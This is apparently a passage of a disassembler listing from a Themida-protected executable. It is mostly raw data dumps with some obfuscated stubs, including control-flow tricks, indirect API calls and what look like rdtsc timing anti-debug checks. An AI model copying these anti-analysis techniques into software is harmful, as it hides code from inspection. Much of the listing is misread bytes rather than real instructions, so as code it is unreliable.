0C8B3F7Eh, 0A2E18353h, 0DA4E72EEh dd 1EBD5C4Ch, 7C745D4Ch, 7B7067FCh, 2D9BBFBCh, 6416335Ah dd 0F14D1C08h, 14943CA8h, 0CC25C05Fh, 3C397A61h dd 998DCA7Dh, 0BD08C09Dh, 82000000h, 2A447932h, 36F82541h dd 3B0EAA7h, 74EC58D8h, 7F7F5C78h, 71256408h, 0CCD8AD2Ah dd 0B4E9A26Dh, 95CA81F8h, 14CC8FE1h, 6CA95EDDh, 3E9FBCB8h dd 5F4A24B7h, 67FCDB9Ah, 277C302Ch, 7A314B90h, 9E0A70A1h dd 0E917E945h, 9980BD72h, 9E127029h, 647C51CDh, 38F433D5h dd 2FDA0FC1h, 9E127093h, 6EDBF773h, 40381B9Ah, 0B9970014h dd 0FE000003h, 0C655094Ch, 0E473E71Eh, 0D148043Dh, 0EE6DE11Eh dd 493FFB3Ah, 0DE1DCF3Dh, 0F93AEB6Ah, 0D510B645h, 0F429E259h dd 0C06B5538h, 6BDFD502h, 323F05E2h, 0AE2D3F7Eh, 61E1C8F7h dd 856DCC7Ch, 5DD9CDA9h, 883FB680h, 2BD712B8h, 19AF2B47h dd 225F04D7h, 5ED5F26Eh, 9AA67A5h, 0BBDB0AB1h, 0C9ADC90Ah dd 30D863DDh, 4D910AF0h, 896DA8FBh, 0F7C4999Dh, 5B571250h dd 0EC05208h, 0CBE27632h, 52F09BC5h, 0B26DCC5Eh, 1249FFB6h dd 98E5025Eh, 5E805A81h, 3E17156Dh, 0FEADDFBBh, 6DCC5F44h dd 0D1A7C4A0h, 0FC0349DAh, 0DFF16D67h, 8D6AA75Ch, 0D5519C2h dd 0C5547876h, 0C3B7980Dh, 2DAC09B4h, 0EC483C7Bh, 0CE33F608h dd 0A8324657h, 0D366D8CCh, 2CFEF231h, 6635C57Dh, 21452122h dd 0C11AB94Ch, 0C8DCFCAFh, 48242851h, 0C7FCA336h, 92442913h dd 0E9E9CD42h, 0EF684E7Bh, 5AE10AEFh, 0D80DB67Dh, 7035AB73h dd 881105FAh, 2B0h, 961255F5h, 7632691Fh, 9D114AFFh, 0B02C691Eh dd 94488729h, 54F86A96h, 6F229915h, 47FB7A2Eh, 22C9500Ch dd 827E71EDh, 0DFD63B87h, 36FEDB6Bh, 2A447932h, 8D6FCA41h dd 0ED0A2456h, 0A635C431h, 0A25CD5D4h, 0E15867FCh, 953AF12Eh dd 0B3C8AC58h, 0C4CB6AEFh, 377C318Ch, 0AAFB9F1Bh, 314B9027h dd 0CADE97Ah, 96110D9Eh, 9E8255E5h, 0D605145Bh, 598E3504h dd 49825C84h, 36CD158Ah, 0F4AB2A15h, 1AABFh, 0E650AD41h dd 0C2653BEFh, 0B1959185h, 918561C5h, 2B661C9Fh, 7FDEFB77h dd 0A2896378h, 56BABABAh, 0E2FCCE4Ah, 5D7AB157h, 44F82DD6h dd 74D90EB5h, 98CBA2A0h, 0F18D160Eh, 36000001h, 5EDD5194h dd 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h, 1655F765h dd 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h, 6BDFD63Ah dd 3237FDDAh, 63504479h, 0B6758754h, 67FC1239h, 468759D5h dd 0B859A874h, 0C2A78B77h, 2542531Ah, 3CBD0DB1h, 522C3E9Dh dd 0FD2A5A19h, 0E0FD956Bh, 13DFBE23h, 8B41589Eh, 0FCD817B9h dd 0B4AE5DD8h, 2E4704B3h, 9F67B43Dh, 0C9EEA66Eh, 0C96429F3h dd 3BCA9F5Ah, 532D3F9Ch, 0F6AADF88h, 0CB08BB7Ah, 857E5BD7h dd 5D10857Ch, 508F41F8h, 0F7AB877Bh, 92C44885h, 2BA83D97h dd 0B328AF4Eh, 52CAF299h, 0DE3A5327h, 60974D0Ch, 31279B8Eh dd 63BF4305h, 40E77286h, 0EE6D4F0Bh, 2A06FA3Bh, 9FDD864Dh dd 9835BF1Eh, 0F99FCCB5h, 0B7E55E7Bh, 38EE5B77h, 769D2F36h dd 10A359Eh, 9F4F0000h, 0B359E05Ch, 9439C07Ch, 0B358DF5Bh dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h dd 0DF5B9037h, 0A91910ECh, 4D6BDFD7h, 7932C450h, 54635044h dd 0EEE1657Eh, 3AF1136Fh, 0CBA75B92h, 0D9D6D5A7h, 0F567FC4Bh dd 2ED46779h, 581AFFF3h, 0F48D07A2h, 5CE2F7DBh, 4010B782h dd 55724E8Bh, 10EAF108h, 0B9F7519h, 0EF11EF9Eh, 1018863Ch dd 13025E9Eh, 9E1018AFh, 0E090C980h, 0AEB36784h, 7EC6E08Dh dd 0E02DEC7h, 1F9BD077h, 90C57E3Dh, 0F06B80E4h, 87C46737h dd 0C7BB979Bh, 70440BA0h, 48E7B8D2h, 0D91ACB8Eh, 0A734492Dh dd 880FCB00h, 0DFF6AADFh, 5EDDEF2Ch, 908E6BAAh, 0FFB12806h dd 7918ABC0h, 0FAE40FB8h, 0B044B30Fh, 30D753C2h, 0C2B04492h dd 0C9BDF6ABh, 9DB9B56Dh, 1752F8C3h, 6CF2076Bh, 150136EDh dd 0A8E8A01Bh, 4A2B3028h, 422E1274h, 0D6009DEh, 60000000h dd 0D2378B7Eh, 53CFC2B0h, 6D5FAE76h, 493D8032h, 0B0649952h dd 463A7519h, 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h dd 0A75B9439h, 55417830h, 17D68CFh, 34890000h, 0E1895124h dd 4C181h, 0E9810000h, 4, 5C240C87h, 52240489h, 0C281E289h dd 4, 8704EA83h, 895C2414h, 0BD55241Ch, 613A12Eh, 89EF8957h dd 545D5FF8h, 81241C8Bh, 4C4h, 0B9515000h, 562F718Fh, 4244C31h dd 8438F59h, 8F087381h, 0FF562F71h, 815B2434h, 4C4h, 24048B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- dd 0CD587F5Fh, 0C4D5D099h, 2E3CCDCDh, 13AD12B8h, 0FFC50306h dd 314AFAE0h, 445ABD7Fh, 42DD8D2Ch, 6AD3131Dh, 519A0858h dd 0AD316051h, 4588D179h, 39C7CB63h, 3A4DF776h, 57982665h dd 9F9A716Dh, 2D57BB4Ch, 0E6179D67h, 9B27D70Ch, 6E1A4438h dd 2D109511h, 148E95Eh, 500000h, 540000h, 580000h, 5C0000h dd 600000h, 640000h, 680000h, 6C0000h, 0B00000h, 0B40000h dd 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h dd 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h, 0E40000h dd 0E80000h, 0EC0000h, 38h dup(0) dd 62BA0000h, 50EB0058h, 858D00A2h, 613ADEFh, 11D59D33h dd 85890610h, 613AF2Fh, 11F19529h, 85C60610h, 61023E5h dd 0F2815254h, 5CE29294h, 0F6A16859h, 0FA8BDA0Fh, 88243481h dd 8B346D9Eh, 100CA9B5h, 45B5FF06h, 8B06101Dh, 10096595h dd 7DBD2B06h, 8D061005h, 13858A85h, 85896006h, 6100845h dd 8F0F53h, 59000000h, 14E961h, 5C1C0000h, 0CF4B4863h dd 87D89017h, 5A7E10F6h, 0C70C6F1Dh, 0D0FFE003h, 6810Fh dd 0B5030000h, 61005D9h, 0AF338589h, 958B0613h, 6102F29h dd 44E9h, 559D8B00h ; --------------------------------------------------------------------------- sbb edx, [eax] push es loc_586443: ; DATA XREF: Themida_:0054BCA0o ; Themida_:0054C1A0o ... push esi mov esi, [ebp+613AF2Fh] mov [esi], eax add dword ptr [ebp+613AF2Fh], 4 pop esi retn ; --------------------------------------------------------------------------- pusha lea esi, [ebp+613ADEFh] jmp short loc_58646D ; --------------------------------------------------------------------------- loc_58645E: ; CODE XREF: Themida_:00586470j push esi push 0 push dword ptr [esi] call dword ptr [ebp+613AF33h] pop esi add esi, 4 loc_58646D: ; CODE XREF: Themida_:0058645Cj cmp dword ptr [esi], 0 jnz short loc_58645E popa retn ; --------------------------------------------------------------------------- jmp loc_586481 ; --------------------------------------------------------------------------- db 0AFh, 0Ah, 93h ; --------------------------------------------------------------------------- sub eax, 209F7F4h loc_586481: ; CODE XREF: Themida_:00586474j lea eax, [ebp+613AFEAh] jnp loc_586499 jns loc_586499 mov edi, [ebp+6102E95h] loc_586499: ; CODE XREF: Themida_:00586487j ; Themida_:0058648Dj mov [ebp+6102AD1h], eax jmp short loc_5864F0 ; --------------------------------------------------------------------------- db 8Fh, 1Ch, 25h dd 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h dd 475D2Fh, 0D5A3EA1Ah, 0 dd 0FECB199Ch, 0FE490000h, 0FBh, 52DDB487h, 9ED92023h dd 77E7339Ch ; --------------------------------------------------------------------------- loc_5864F0: ; CODE XREF: Themida_:0058649Fj jmp loc_587619 ; --------------------------------------------------------------------------- push 0 push edx call sub_586500 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586500 proc near ; CODE XREF: Themida_:005864F8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_586500 endp ; --------------------------------------------------------------------------- dd 966262B6h, 9BD8322h, 61022h, 30850Fh, 0BE90000h, 0B8000000h dd 0EF84C81h, 5C2AC205h, 0B88931h, 89000000h, 102941B5h dd 41BD0306h, 0C2061031h, 9D010004h, 61008DDh, 1EA58589h dd 0C08B0610h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 23C35343h, 335D8D8Bh, 95290610h, 6102945h, 158DBD83h dd 75000610h, 95BD8309h, 61000h, 53501374h, 0D0B8C08Bh dd 8D000004h, 12B5E99Dh, 5BD3FF06h, 95BD8358h, 61000h dd 53501174h, 4D0B8h, 369D8D00h, 0FF0612B5h, 6A585BD3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0E3BBC356h, 0FF98B66h, 0C08BFABFh, 23C78166h dd 6E81Ah db 2 dup(0) word_5865EA dw 3BD5h ; DATA XREF: Themida_:0054E578o dd 0B0E79F40h, 8F0Fh, 8D590000h, 13B07985h, 0D78B6606h dd 310D8D89h, 8B900610h, 0E86050F8h, 0Fh, 5D012DCEh, 0DFE0AD7Dh dd 0D45533BCh, 0BE5428CBh, 7F48EF00h, 61F28B5Ah, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 858D3FA6h, 613B036h, 2820Fh, 0C0B10000h, 0D38B6650h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0CC7BC351h, 0F2442EE4h, 0F680C681h dd 7995FF91h, 6A061009h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 581AC356h, 0F281665Eh dd 0C9D5809Ch, 26E98166h, 24448B5Dh, 0B1DE8004h, 0B0618589h dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0AF41D4C3h, 0F9FDD58h, 448BFBBFh, 0BD2B0824h dd 6102935h, 16A19D89h, 85890610h, 613B075h, 75BD83F8h dd 61007h, 0C1850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0FE9AB1C3h, 23E585C6h dd 0E8470610h, 4, 0D49AA7D2h, 7C44BF50h, 448B1E90h, 89B50424h dd 4489008Bh, 0BF660424h, 6A58BAA0h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F52C355h dd 958BFFBFh, 61010D5h, 1D45B5FFh, 8B660610h, 8A858DD7h dd 60061385h, 0CE9h, 0F7805200h, 0B9928945h, 90C5CA93h dd 8D9D09C6h, 6106101Bh, 958BD0FFh, 6100B39h, 7758589h dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0B80A32C3h, 837A4B55h, 100D85BDh, 850F0006h dd 0DBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 98C35141h, 0CCA68A0h, 8E9D0h, 6EF70000h, 23A468Dh dd 0DA815A64h, 6EF074E2h, 23E585C6h, 8A470610h, 61BD8BD3h dd 6806101Bh, 0EACDBA0h, 42240481h, 8B7B62DAh, 45B5FFCAh dd 6A06101Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 36BBC356h, 6AC3A376h, 2976B6CAh dd 10201595h, 8A858D06h, 0E8061385h, 11h, 66A12667h, 7DB727D2h dd 0F314708Fh, 0C58010D8h, 5964B61Eh, 95B9BA66h, 8589D0FFh dd 61006F5h, 0D858589h, 6A0610h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 1C25F4C3h, 0D2A429F2h dd 458529EDh, 83061008h, 102FB5BDh, 850F0006h, 9Ch, 0C6FE8B66h dd 1023E585h, 85895606h, 61022B5h, 0E212E068h, 0AE997h dd 0DBB50000h, 1FB96EDh, 0BB82CDE3h, 0D9243481h, 8943FD7Fh dd 1018F995h, 45B5FF06h, 6A06101Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F3CFC351h dd 28A0Fh, 0CCB20000h, 858A858Dh, 9D890613h, 6100EE5h dd 0B70FD0FFh, 0B58589D1h, 6A06102Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4E70C351h dd 7EBF6664h, 958B3A0Fh, 6102EA1h, 23E585C6h, 6A6C0610h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0D35FC352h, 1CD0EAC8h, 8A0FDECFh, 0Fh, 0AE9h dd 0D9593F00h, 8FEB96DDh, 0E86EF41Eh, 4, 0DB057083h, 0FE8h dd 60D79900h, 3268F8D6h, 1592ADE7h, 2EF20BD4h, 14E95250h dd 98000000h, 3BF84F84h, 0D7593545h, 80902F20h, 6A482C45h dd 0FD4FC01h, 0A80EBF31h, 585A40C0h, 800F505Fh, 4, 697CB966h dd 424448Bh, 0B557008Bh, 44895FACh, 7ABF0424h, 581F3CC2h dd 50F7BBFh, 99B5FF37h, 6A061014h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DA0EC351h dd 5E9h, 2C82E400h, 858D9CFFh, 6103A32h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4EC35545h, 64C14829h dd 6047B113h, 1D952366h, 0FF061002h, 52006AD0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B4B201A7h dd 0B0658589h, 0EE90613h, 8000000h, 8DDE43F6h, 884117B6h dd 0D66D7201h, 81BD83E3h, 613B0h, 8A850Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0EEDF42C3h, 23E585C6h, 6A490610h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3ACC357h dd 0DD70CEF7h, 8B661EE7h, 364568D1h, 0B966F69Ch, 34818A11h dd 891FAC24h, 99B5FF7Ah, 0F061014h, 68Fh, 1DBD0100h, 8D061022h dd 103A3285h, 0FD0FF06h, 686h, 51BD0100h, 89061020h, 13B08185h dd 0D2B70F06h, 6A046Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 153435C3h, 22F78166h, 0DDA86816h dd 9E98F1Ah, 66000000h, 0D5470CEFh, 54019261h, 58240481h dd 2970E532h, 103071B5h, 6D8D0106h, 0E8061010h, 4, 10000h dd 8B525060h, 0B5310FD0h, 50585A58h, 0FC38B52h, 5AF08B31h dd 50506158h, 0FA8B6652h, 8B66310Fh, 8B585AFBh, 0E8042444h dd 11h, 2E2BD4F5h, 368D5EA1h, 79F1D2C0h, 0D58DF758h, 0CE8B661Fh dd 0F008B59h, 118Fh, 9E800h, 590E0000h, 1AE799BAh, 53FEE225h dd 44895A5Ah, 66510424h, 5A4BE2B9h, 6AF558h, 0C519529h dd 95FF0610h, 6101F01h, 89F88B66h, 13B07185h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0C1E7669Ch, 8B95E409h, 10015D95h, 8D8B5006h, 61007A9h dd 6985C75Fh, 613B0h, 33000000h, 101DE9BDh, 89006A06h dd 10236995h, 0CB706806h, 5B53BA8h, 70243481h, 0F93BA9CBh dd 8931B550h, 9D292404h, 6100051h, 6A0B6Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 586CADC3h dd 0CE4D0EB0h, 314E830Eh, 101BB585h, 12E906h, 0C4C80000h dd 7ED6FE16h, 0CD14CAC0h, 29BEB81Dh, 0DDDFC758h, 0B03E858Dh dd 880F0613h, 6, 8ABC281h, 17B94223h, 5073EAF4h, 6E8h dd 0F6D50A00h, 0F4BF756h, 288h, 5F5F5700h, 81240489h, 7B6DB7E7h dd 7595FF0Dh, 6A061007h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 69ACC350h, 0A690E586h dd 69CD28FAh, 12E8h, 77FDA500h, 4E005C4Bh, 2F018F74h, 598889ABh dd 0E9304FACh, 11h, 2B775DC3h, 0F75BA6A3h, 57FC4A36h, 1525DF5Fh dd 0B58D5F0Dh, 613B048h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0A5C35141h, 6DCA2BC0h, 0C13D989Eh, 48B0Fh dd 0BF660000h, 0BF50010Fh, 6B026B4Bh, 8B243489h, 1020B9BDh dd 60605006h, 310F5250h, 11E9585Ah, 8A000000h, 859856C1h dd 0E0AF595Dh, 0B7B84CC1h, 510DD204h, 0F525061h, 8Dh, 5A310F00h dd 4896158h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 4DA9BA09h, 11A18D8Bh, 95FF0610h dd 6100D85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0F1C35343h dd 456AE418h, 0D1503E8Eh, 0AD8D8B1Bh, 0B06100Dh, 21850FC0h dd 0B9000000h, 6A948D78h, 612E9h, 7E800h, 0C73B0000h, 31E0BF48h dd 35BB60C5h, 0F4DE36Dh, 5F61CFBFh, 6AD0FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0A108DAC3h dd 8D098F30h, 6101AC5h, 0B071B58Bh, 0BD8B0613h, 610109Dh dd 0E920468Dh, 6, 3709F23Ch, 46AB0CEh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 50C35242h, 0A9E6E883h, 57F987A1h dd 239BD8Bh, 60900610h, 78A1B960h, 5B5018DDh, 8B525061h dd 60310FC8h, 61585A61h, 0AE95050h, 7000000h, 536E654Fh dd 8C72A618h, 0E9905A2Ah, 0Dh, 0CF058D27h, 4CDCADA1h, 55A33045h dd 8195FF04h, 0F80613B0h, 840FC00Bh, 14h, 12818D8Bh, 8B660610h dd 535E9C8h, 95890000h, 610200Dh, 207E80h, 525840Fh, 0F7810000h dd 49F100B0h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0D8E0D0DEh, 0D5383C77h, 718D331Ch dd 8D06102Eh, 85892046h, 613B06Dh, 1C258D89h, 13E90610h dd 40000001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 35C35141h, 73485BA1h, 0DE9829FEh, 810F5074h, 2 dd 489FA8Bh, 75B52924h, 8906100Dh, 103069B5h, 8B046A06h dd 100901BDh, 91BF5006h, 8904C8B9h, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0C73172C3h dd 0C08A452Eh, 0D18B66E6h, 0B08195FFh, 0E7810613h, 3D33903Dh dd 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 35B1BBC3h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 8CE0C462h, 0DD55F2B0h dd 0AE9BAh, 0B4470000h, 908EFF8Eh, 5F710269h, 0BC9B70Fh dd 33840FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 5C3C356h, 4EBBAC65h dd 334B9BDh, 100649BDh, 3D1E906h, 0BA660000h, 3880D0E2h dd 0E4850F00h, 6AFFFFFEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 3AF4C352h, 66F13338h dd 0E92ED2BAh, 7, 6D8D8948h, 3B06100Fh, 13B06D85h, 61820F06h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 5A77C351h, 0F1A5F6Ch, 0BD8BFEB7h dd 6101675h, 0F5C3880h, 2F84h, 0CBBF0F00h, 0F2F3880h, 0FFFFAF85h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0BD89F9CDh, 61007F5h, 83D18B40h, 13B075BDh dd 840F0006h, 19Ch, 2AD5BD2Bh, 0F500610h, 584h, 22A6BA00h dd 48979A4h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0DFDAC3D3h, 560A58F6h, 51F98BD3h dd 998D8Bh, 35A0610h, 13B07585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 96673CD4h dd 0AE2D7DDDh, 218D3362h, 5006101Eh, 7E852h, 0C34C0000h dd 918C6F9Dh, 7E936h, 72AB0000h, 0E35EDFh, 89595FCFh, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 1F686C3h, 6AFE8B66h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 33D047E1h, 7478B4A9h dd 19958901h, 8B061016h, 102D458Dh, 0D58A9006h, 0DE809050h dd 8195FF33h, 0B0613B0h, 102E81BDh, 2BD88B06h, 10099195h dd 9D895806h, 6102055h, 29358D8Bh, 0DB0B0610h, 23840Fh dd 0F500000h, 48Fh, 0E4BF6600h, 0F0E9594Ch, 0F000001h dd 686h, 0E59D8900h, 9061010h, 100509BDh, 0C606h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 90C35040h, 8A94379Fh dd 6A58CA8Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0B55CC352h, 0E919763Ch, 0Bh, 0DFB8A45Fh dd 57BD7484h, 60096656h, 31618509h, 8B660610h, 0EF8A61D8h dd 0D08B6650h, 66240489h, 1E6AD18Bh, 2D85BD8Bh, 50900610h dd 60525052h, 0BF310F61h, 7CE1F04Ch, 310F585Ah, 8E951h dd 684B0000h, 0DAAB4ACFh, 5A5F9FF7h, 0EE85058h, 0B7000000h dd 0A4F6C3CFh, 5BD874A1h, 9F1C80F1h, 59FA8BE3h, 0FFCB8B90h dd 13B08195h, 0D88BF806h, 0A18D2358h, 0B06100Eh, 10840FDBh dd 66000000h, 7AD7E981h, 10AE9h, 55B58900h, 50061010h dd 310F5250h, 585AD08Bh, 0E8240489h, 0Ah, 37136261h, 0DF7B52A8h dd 0E96046E1h, 6, 0FD06FFD6h, 95315A5Ah, 6101B35h, 0B5FF5961h dd 613B061h, 7D9D8960h, 0B4061022h, 95FF619Ch, 613B065h dd 1561958Bh, 0C00B0610h, 99850Fh, 9D310000h, 6100691h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0EB14288Bh, 0C5858960h, 0B6061022h, 958B615Dh dd 61004D5h, 0B06985C7h, 10613h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66CC55C3h dd 9B21C981h, 4AE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 755FCDEEh, 26FCABD4h dd 6E9h, 44F57C00h, 66B8DD33h, 61B6A0BAh, 81FA8B66h, 11CC6h dd 0C9B70F00h, 0FFFA3FE9h, 0E98D8BFFh, 0E806102Ah, 4, 8000h dd 47BA5160h, 5911FF93h, 506188B7h, 448BD08Bh, 8B660424h dd 60008BD3h, 9655AFBFh, 2820F3Ch, 0B5000000h, 44896153h dd 830F0424h, 2, 6A589BB1h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 110CC355h, 0F1FF280h dd 6AF8B7h, 41A3BF66h, 0B071B5FFh, 810F0613h, 4, 160BB966h dd 2FB595FFh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0EFB1ABC3h, 71D3B6E1h, 666F513Eh dd 8B35CBBAh, 13B06985h, 90B4B106h, 0E950D18Ah, 10h, 31CDE04Bh dd 2F1A9188h, 0B682D6AAh, 0BEEFC83Eh, 0C9953390h, 8D061030h dd 13B07985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8B66F35Eh, 11E890CAh, 58000000h dd 0C891E620h, 7438F5E8h, 0F82DCF41h, 0B9C6DD09h, 5FD68B66h dd 9FB59050h, 0B036858Dh, 8D890613h, 61015EDh, 901BD33h dd 8B900610h, 1CB550F8h, 95FFFC90h, 6101E99h, 0B458D8Bh dd 8B660610h, 0FC08BF9h, 0BD83CAB7h, 610158Dh, 83097500h dd 100095BDh, 13740006h, 0C08B5350h, 4D0B8h, 509D8D00h dd 0FF0612B6h, 83585BD3h, 100095BDh, 11740006h, 0D0B85350h dd 8D000004h, 12B54F9Dh, 5BD3FF06h, 14E858h db 2 dup(0) word_5875A2 dw 8F88h ; DATA XREF: Themida_:0054B4ECo dd 755E19D5h, 1545DB8Dh, 4B3B962Dh, 0A01B9070h, 0BD0B1A15h dd 61014E5h, 52006A5Fh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0B2974AF3h, 13E9BAh, 6DB30000h, 1648A8EDh dd 0F9E22E1Ah, 48B38B64h, 0DD93BABBh, 66C08B58h, 0ACA6D181h dd 961BA58h, 8B600D82h, 1013F9B5h, 0E7EB8106h, 617DA6F8h dd 310008C2h, 102ABDB5h ; --------------------------------------------------------------------------- push es loc_587619: ; CODE XREF: Themida_:loc_5864F0j mov eax, eax push 0 push ebx call sub_587626 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587626 proc near ; CODE XREF: Themida_:0058761Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_587626 endp ; --------------------------------------------------------------------------- adc cl, [ebp+13B0AA85h] push es jmp loc_587647 ; --------------------------------------------------------------------------- dw 669Bh db 64h, 3Eh, 0EEh ; --------------------------------------------------------------------------- loc_587647: ; CODE XREF: Themida_:0058763Dj mov [ebp+61005ADh], eax jmp loc_5876C7 ; --------------------------------------------------------------------------- pusha mov ax, ds test al, 4 jz loc_587693 push 1 push dword ptr [ebp+6101499h] lea eax, [ebp+613858Ah] call eax mov [ebp+6101F35h], eax mov edi, esi shr edi, 0Ch push 20040000h push 0 push 2 push edi push 1000Dh call dword ptr [ebp+6101F35h] jmp loc_5876C5 ; --------------------------------------------------------------------------- loc_587693: ; CODE XREF: Themida_:00587658j mov byte ptr [ebp+61023E5h], 56h push 0A9C530DFh push dword ptr [ebp+6101D45h] lea eax, [ebp+613858Ah] call eax mov [ebp+6101261h], eax lea eax, [ebp+6101DADh] push eax push 20h push 5 push esi call dword ptr [ebp+6101261h] loc_5876C5: ; CODE XREF: Themida_:0058768Ej popa retn ; --------------------------------------------------------------------------- loc_5876C7: ; CODE XREF: Themida_:0058764Dj shl eax, 6 jmp short loc_587705 ; --------------------------------------------------------------------------- dd 0C20000h, 0C202CCh, 0C202E4h, 0 dd 4827F405h, 793EF8FFh, 2D2FF035h, 4024F459h, 412EB37Ah dd 79049DE7h, 2D06D181h dword_5876F8 dd 5D05E9ACh, 451EF314h, 492BF8CAh ; DATA XREF: Themida_:0054D0CCo ; Themida_:0054E198o ; --------------------------------------------------------------------------- pop esp loc_587705: ; CODE XREF: Themida_:005876CAj std and ds:2D497578h, ch pop ss popf push 73h dec eax retn ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 59h dd 69CB99E1h, 2D5E99C6h, 7B0C9D71h ; --------------------------------------------------------------------------- loc_587720: ; DATA XREF: Themida_:0054CB7Co jnp short loc_587730 rcr dword ptr [eax+2B5A9BE1h], 0A5h pop ebp and ds:2D497544h, ch loc_587730: ; CODE XREF: Themida_:loc_587720j mov ebx, [ebp-39F98996h] retn ; --------------------------------------------------------------------------- db 71h dd 69CB99C6h, 2D5D9955h, 7E099DB8h, 7A1EC69Fh, 0E7C1FBC9h dd 38C72094h, 584A9B9Bh, 0B8F71ECCh, 2D4C8DE2h, 7E1A8405h dd 94F25D33h, 0A44A9D58h, 3D44F8ABh, 38D71011h, 0D24C8F33h dd 0AE12C616h, 3D4A085Fh, 3A3E9D77h, 94F2CEE8h, 0A44A9D58h dd 3D44F8ABh, 29D71011h, 0D24C8F3Eh, 4D12C616h, 0AC2CC4B5h dd 4C25E9A1h, 0C51D9DD2h, 2D4A9D5Fh, 7289C20Eh, 296EE19Eh dd 